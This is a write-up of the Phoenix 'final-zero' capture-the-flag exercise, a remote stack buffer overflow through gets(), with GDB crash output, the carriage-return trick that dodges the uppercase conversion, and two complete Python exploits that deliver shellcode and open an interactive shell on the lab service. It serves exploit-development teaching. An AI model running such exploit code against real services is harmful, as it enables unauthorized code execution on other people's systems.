Final 0
Write-up for: https://exploit.education/phoenix/final-zero/.
Now we’re getting into the three final exercises of Phoenix. The first is a remote stack buffer overflow.
The vulnerability
char *get_username() {
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
The vulnerability is in the get_username
function. A local char array is filled with gets
reading from standard input until a newline character is encountered. It does not perform range-checking and thus introduces a stack-based buffer overflow vulnerability.
Developing the exploit
Exploiting this vulnerability should be fairly straightforward. Since the vulnerability is in a function and there are no mitigations, the following should be a suitable plan of attack:
- Write more than 512 bytes to
buffer
in order to overwrite the storedRIP
- Write shellcode to the
buffer variable
, there should be more than enough space.
While developing our exploit, we need to consider the following constraints:
q = strchr(buffer, '\n');
if (q) *q = 0;
q = strchr(buffer, '\r');
if (q) *q = 0;
This piece of code and the fact that the program uses gets
means that we cannot use newline characters as part of our payload. \n
is 0xa
, \r
is 0xd
. Null bytes are also not allowed as this would terminate the string.
for (i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
All characters in the buffer are converted to upper case. This means that if we have a byte value between 0x61
and 0x7a
, 0x20
will be subtraced because this is how far lower- and upper-case letters are apart in ascii.
To summarize, our forbidden characters are:
- 0x0
- 0xa, 0xd
- 0x61 - 0x7a
Keeping this in mind we can start by triggering the vulnerability and confirming that we can control RIP
. Since this is a remote exploit, we use Python (or netcat in the beginning) to connect to the service and to deliver our payload. On the server, we can attach to the process with GDB to see what’s going on. The service is running on port 64003.
Since the remote challenges are run and controlled by systemd
together with getty
, it can be a bit tricky to find the right process to debug. Once you connect to the service a new process is forked by systemd
and you can find the process id like this (as root):
root@phoenix-amd64:~# netstat -antp | grep 64003
tcp 0 0 127.0.0.1:64003 0.0.0.0:* LISTEN 1/init
# Looks like systemd might be listening..
root@phoenix-amd64:~# systemctl status
...
├─system-getty.slice
│ ├─getty@tty3.service
│ │ └─261 /sbin/agetty --noclear tty3 linux
│ ├─getty@tty4.service
│ │ └─260 /sbin/agetty --noclear tty4 linux
│ ├─getty@tty1.service
│ │ └─1606 /sbin/agetty --noclear tty1 linux
│ ├─getty@tty5.service
│ │ └─259 /sbin/agetty --noclear tty5 linux
│ ├─getty@tty2.service
│ │ └─262 /sbin/agetty --noclear tty2 linux
│ └─getty@tty6.service
│ └─257 /sbin/agetty --noclear tty6 linux
...
# These processes handle incoming connections for net0 - net2 and final0 - final2
# From a user shell
user@phoenix-amd64:~$ nc 127.0.0.1 64003
Welcome to phoenix/final-zero, brought to you by https://exploit.education
# On root again
root@phoenix-amd64:~# systemctl status
└─system-phoenix\x2damd64\x2dfinal\x2dzero.slice
└─phoenix-amd64-final-zero@1-127.0.0.1:64003-127.0.
└─3854 /opt/phoenix/amd64/final-zero
# There it is!
But when we attach and try to break on or disassemble the get_username
function, it fails. The reason seems to be that the function is at a very low memory address that we can’t access.
(gdb) disas get_username
Dump of assembler code for function get_username:
0x00000000004007cd <+0>: Cannot access memory at address 0x4007cd
We’ll revisit that later if necessary. Let’s first try crashing it! We should be able to use gdb to examine the crash. This time we attach to the init
process and instruct gdb to follow child forks. This way, we can run our exploit as a whole without having to first establish a connection, then attaching to the spawned process and only then sending our payload. This is especially useful for “fire-and-forget” payloads sent with netcat
. Later, in Python, we could also first create as socket and wait for some user input while we attach to the newly spawned process in the other terminal.
root@phoenix-amd64:~# gdb -p 1
gef➤ set follow-fork-mode child
gef➤ continue
# As a regular user
user@phoenix-amd64:~$ python -c 'print("A"*600)' | nc 127.0.0.1 64003
Welcome to phoenix/final-zero, brought to you by https://exploit.education
# Back in gdb
Thread 2.1 "final-zero" received signal SIGSEGV, Segmentation fault.
[Switching to process 4274]
0x4141414141414141 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000600d00 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x4141414141414141 ("AAAAAAAA"?)
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffec90 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007fffffffec61 → 0x4100000000000000
$rdi : 0x0000000000600f01 → 0x0000000000000000
$rip : 0x4141414141414141 ("AAAAAAAA"?)
$r8 : 0x17
$r9 : 0x8080808080808080
$r10 : 0x8080808080808080
$r11 : 0x1
$r12 : 0x00007fffffffed28 → 0x00007fffffffeedf → "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr[...]"
$r13 : 0x00000000004008b2 → 0x30ec8348e5894855
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffec90│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ← $rsp
0x00007fffffffec98│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffeca0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffeca8│+0x0018: "AAAAAAAAAAAAAAAA"
0x00007fffffffecb0│+0x0020: "AAAAAAAA"
0x00007fffffffecb8│+0x0028: 0x0000000000000000
0x00007fffffffecc0│+0x0030: 0x0000000000000001
0x00007fffffffecc8│+0x0038: 0x00007ffff7d8fd62 → 0x41ffff18d6e8c789
──────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x4141414141414141
──────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "final-zero", stopped, reason: SIGSEGV
Bingo! We control $rbx
, $rbp
and most importantly $rip
(“AAAAAAAA”). Now it’s just a matter of finding the right offsets and constructing a suitable payload.
The main challenge in creating the payload is the list of forbidden characters. I spend an embarrassingly long time on trying to create a payload without any lowercase characters. You can for example use msfvenom
or the encoders in the pwnlib
library (see here). But nothing I tried worked for the large number of excluded bytes. Then it hit me:
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if (q) *q = 0;
q = strchr(buffer, '\r');
if (q) *q = 0;
/* Convert to lower case */
for (i = 0; i < strlen(buffer); i++) {
The “convert to lower case” loop runs for strlen(buffer)
iterations. strlen
counts the number of bytes in buffer
until the first \0
byte it encounters. Before the loop, newline characters are converted to NULL BYTES! So that means that we don’t need to worry about removing lowercase characters from our payload as long as we start with a newline! There’s one catch, gets
ends reading input if it encouters \n
, but we can just send a single \r
byte instead. Let’s confirm this theory. We’ll send a payload with lowercase a
characters. If it segfaults and $rip
is aaaaaaaa
we win:
user@phoenix-amd64:~$ python -c 'print("hello\r" + "a"*600)' | nc 127.0.0.1 64003
# gdb
Program terminated with signal SIGSEGV, Segmentation fault.
$rip : 0x6161616161616161 ("aaaaaaaa"?)
Nice, let’s create an exploit!
First, we need to find the offset to overwriting $rip
. For this we’ll use the excellent exploit-pattern script:
user@phoenix-amd64:~$ wget https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py
user@phoenix-amd64:~$ python pattern.py 600 | nc 127.0.0.1 64003
Welcome to phoenix/final-zero, brought to you by https://exploit.education
^C
# in gdb as root
$rip : 0x7341357341347341 ("As4As5As"?)
user@phoenix-amd64:~$ python pattern.py As4As5As
Pattern As4As5As first occurrence at position 552 in pattern.
Easy, the address of our shellcode needs to be at offset 552
. As an address (no ASLR), we can use an address shortly after the beginning of the buffer (after the \n
byte we place there). Since the buffer is quite large we can leave some room (rember, offsets are slightly different in GDB due to the different environment). Now we can create a payload with pwnlib
or msfvenom
and we’re done…
Or so I thought. At this point I got completely stuck. I tried generating different shellcode with the various tools and ended up trying out pretty much every shellcode I came across both for the 32-bit and 64-bit variant. No luck. I double checked and was sure that the shellcode was reached and executed and no bytes were harmed in the process. But either it segfaulted during the shellcode execution or it reached some syscall and just stopped doing anything. In the end I even reached out to various channels where I searched for help (thanks, u/joenibe :) ).
Then I reduced my goals to just executing a single command on the target (e.g. id
). And in gdb I could see that a new process was spawned, but when I never saw any output from my exploit, it dawned on me. I sent the exploit to the server and then, in my script, just closed the socket right away. Obviously not the greatest idea if you want to read from a newly spawned process. I quickly changed my exploit and came up with the following (first 32-bit, then 64-bit), giving me a basic shell.
32-bit exploit (port 64013)
import struct
import socket
import pwnlib
HOST = "127.0.0.1"
PORT = 64013
# buffer offset is 0xffffdb18
SHELLCODE_ADDR = 0xffffdb20
def read_line_from_sock(socket):
buf = ""
while True:
b = s.recv(1)
if b == b'\n':
break
buf += b.decode("ascii")
return buf
# EXPLOIT CODE starts here
payload = "\r" + b'\x90' * 16
payload += pwnlib.encoders.encoder.encode(pwnlib.asm.asm(pwnlib.shellcraft.i386.linux.sh()), "\n\r\0")
payload += b'\x90'*(532 - len(payload))
payload += struct.pack("<I", SHELLCODE_ADDR) + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print(read_line_from_sock(s))
print("+ sending payload")
s.sendall(payload)
print("+ we have a shell now!")
while True:
s.sendall(raw_input() + "\n")
print(s.recv(1024))
64-bit exploit (port 64003)
import struct
import socket
import pwnlib
HOST = "127.0.0.1"
PORT = 64003
# buffer offset is 0x7fffffffea60
SHELLCODE_ADDR = 0x7fffffffea6a
def read_line_from_sock(socket):
buf = ""
while True:
b = s.recv(1)
if b == b'\n':
break
buf += b.decode("ascii")
return buf
# EXPLOIT CODE starts here
payload = "\r" + b'\x90' * 16
payload += pwnlib.encoders.encoder.encode(pwnlib.asm.asm(pwnlib.shellcraft.amd64.linux.sh(), arch='amd64'), "\n\r\0")
payload += b'\x90'*(552 - len(payload))
payload += struct.pack("<Q", SHELLCODE_ADDR) + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print(read_line_from_sock(s))
print("+ sending payload")
s.sendall(payload)
print("+ we have a shell now!")
while True:
s.sendall(raw_input() + "\n")
print(s.recv(1024))
user@phoenix-amd64:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
user@phoenix-amd64:~$ python final0_amd64.py
Welcome to phoenix/final-zero, brought to you by https://exploit.education
+ sending payload
+ we have a shell now!
id
uid=419(phoenix-amd64-final-zero) gid=419(phoenix-amd64-final-zero) groups=419(phoenix-amd64-final-zero)
We did it! It’s still not entirely clear to me why no bind / reverse shell payload would work for me. My guess is that is has to do with the way the final challenges are run via systemd
. I read somewhere that there is some sort of syscall filtering in place, maybe I was hit by that. I’m not sure though, so if someone is luckier (and/or smarter) than me, let me now!
Afterword
This challenge was by no means very difficult (stack 6 was way trickier to exploit, for example). It was a straightforward stack buffer overflow with the small challenge of working around the topupper
hurdle. There is no ASLR and the stack is executable. The fact that it still took me many frustating hours is a lesson learned for me: every detail matters in exploit development and persistence is key. Re-reading my exploit code would have been a lot smarter than just firing one payload after another at the target. If you’re stuck, take a step back, don’t just keep firing blindly.
Another important lesson is that there is usually more than one way to solve these challenges. For example, instead of finding the \r
trick in order to place your shellcode inside the buffer, you could use a different technique such as ret2libc
, as a very helpful Reddit member pointed out to me (thanks again, u/joenibe). Always keep an open mind.